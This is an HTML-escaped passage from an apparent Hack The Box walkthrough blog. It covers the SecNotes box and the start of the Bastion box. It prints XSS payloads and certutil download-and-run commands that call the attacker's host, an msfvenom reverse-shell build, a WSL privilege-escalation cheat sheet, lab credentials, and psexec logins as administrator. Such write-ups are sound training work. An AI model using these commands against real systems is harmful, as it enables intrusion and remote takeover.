class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;None of the three allows anonymous login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -H 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N -L //10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a stored XSS in new note.&lt;/p&gt;&#10;&lt;p&gt;Sure enough, just like the previous one, it had to be triggered through contact us.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And what I submitted here was:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt; document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;); &amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Clearly, it executed certutil&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;So the commands sent over would be executed.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;The target still requested the download, but it never executed. Clearly, the current directory was not writable.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;I kept trying to chain commands but could never get them to execute. Then I realized this was not command execution at all: it automatically clicked any link I submitted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I submitted a link, it would be requested. I wasn&amp;rsquo;t sure whether it saved the file locally, and even if it did, I had no idea where. Since this was a php site, I also submitted an ftshell php file, but no shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If this really was XSS, I could still exfiltrate a few things, but I couldn&amp;rsquo;t figure out exactly how it worked. Was php making the request, or was it being launched through php functions such as system or eval?&lt;/p&gt;&#10;&lt;p&gt;After investigating for ages, it turned out to be none of those. If the submitted content contained multiple urls, it visited them separately. If it contained characters such as &amp;lsquo;)$, it would not visit them. At the same time, I found that:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.97/change_pass.php?password=password1&amp;amp;confirm_password=password1&amp;amp;submit=submit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This worked successfully, which made the path forward obvious: send it this URL and have it change the password. We already had the username too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The middle section was probably port knocking, while the section below contained the smb credentials and shared folder.&lt;/p&gt;&#10;&lt;p&gt;I started with the simpler option below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded both files. They seemed to point to port 8808, so I checked whether the image contained any steganography, but found nothing. Oddly, when I generated an md5 for the png and searched google, I couldn&amp;rsquo;t find a match. That suggested the image might not be a default asset, but some kind of screenshot instead.&lt;/p&gt;&#10;&lt;p&gt;After thinking about it for a while, I felt I was heading in the wrong direction again. Maybe this was simply the site running on port 8808, and iisstart was the default iis landing page. Time to test it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. I wasn&amp;rsquo;t sure what the backend was written in. While running strings on the image, I saw .net inside it, so the backend might have been written in c#. I decided to try asp first, then php if that failed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x&amp;gt; ./back.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, my uploaded back.asp returned a 404 even though it was right there in the directory. At first I thought I had misunderstood and this wasn&amp;rsquo;t the web directory. Then I uploaded a 1.txt file and found that it was still accessible. So was the extension being blocked here? Maybe I needed a bypass.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried several extensions with no luck at all, so I started trying php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it parsed successfully. My reverse shell was for linux, though, so I just needed to change that.&lt;/p&gt;&#10;&lt;p&gt;A one-liner:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It periodically cleared the smb share. I just had to put the shell there, execute it through the webshell, and it would be OK.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This shell couldn&amp;rsquo;t even run systeminfo, so I decided to inspect the website first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server with default setting (user &amp;#39;root&amp;#39; with no password) */&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_SERVER&amp;#39;, &amp;#39;localhost&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;q8N#9Eos%JinE57tke72&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;root&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;qwer1234QWER!@#$&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_NAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Database credentials. I might need to set up a tunnel and expose mysql through it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -h 127.0.0.1 -P 6000 -u secnotes -p&amp;#39;q8N#9Eos%JinE57tke72&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, I connected successfully. Unfortunately, root couldn&amp;rsquo;t connect, and there was nothing useful in the database.&lt;/p&gt;&#10;&lt;p&gt;I kept digging through the directories. Oddly, when I found the flag, I also noticed a bash.lnk on the Desktop pointing to bash.exe under system. That was strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t throw an error either, which meant it was available and present in the environment variables. I tried plenty of commands, but none would execute. Then I found an ubuntu.zip archive in the root directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found Ubuntu inside Distros, so I started searching the directory structure to figure out what it was.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxBlockMap.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxManifest.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxMetadata&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxSignature.p7x&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Assets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;images&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install.tar.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;resources.pri&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ubuntu.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Content_Types].xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This suggested it was a subsystem. I started looking for ways to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./ubuntun1604.exe config --default-user root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl python -c &amp;#39;BIND_OR_REVERSE_SHELL_PYTHON_CODE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash.exe may also be located at C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Alternatively, explore the WSL filesystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the first approach, I couldn&amp;rsquo;t find wsl anywhere, and running ./ubuntun.exe config &amp;ndash;default-user root just hung.&lt;/p&gt;&#10;&lt;p&gt;The second approach used bash.exe.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, it did absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;With the third approach, I could locate the actual directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I did was look for root&amp;rsquo;s history. After all, I had worked on plenty of linux boxes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The smb connection gave me the credentials, so this was easy: I just had to connect.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/smbexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, this one felt pretty manageable. The part I was less comfortable with was windows privilege escalation.&lt;/p&gt;&#10;&lt;h2 id="10bastion"&gt;&lt;a href="#10bastion" class="header-anchor"&gt;&lt;/a&gt;10.Bastion&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first glance, if SMB had nothing to offer, I was going to be completely stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Luckily, anonymous access was enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N //10.10.10.134/Backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded everything, but one file brought me to a standstill. The hint said not to download everything because it would be very slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the file. It was still growing and was simply too large. Following the hint, I stopped downloading it and deleted what I had because it was taking up too much space.&lt;/p&gt;&#10;&lt;p&gt;At this point, judging by the services that were open, I was probably expected to find the username and password myself. I couldn&amp;rsquo;t think of any other way this box could be solved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used this method to mount the smaller vhd file, but it was completely empty when I opened it. There was probably something in the larger vhd file, but downloading it was far too slow. Maybe mounting it over the SMB service would work better?&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a blog post whose IP and method were exactly the same as the write-up, so I kept looking elsewhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog used the same method as the previous one and was also written specifically for this lab.&lt;/p&gt;&#10;&lt;p&gt;I searched for quite a while after that, but almost everything I found was about this particular lab. If this box had not already been released and I had needed to figure it out on my own, it probably would have been pretty difficult. The idea itself is easy to understand. I had already spent ages trying to download the file, but it was huge and the connection was slow. The method uses the CIFS SMB file share to mount the vhd from the target&amp;rsquo;s SMB service directly on the local machine. That way, files are loaded only as I access them locally. In practice, though, I still didn&amp;rsquo;t know how to do it. I had already figured out how the next stage would probably work: pull out SAM or HTDS.dit, use PTH or winrm, and get a shell. I couldn&amp;rsquo;t see any other route unless the password had been changed and I needed to hunt down the SSH password instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span 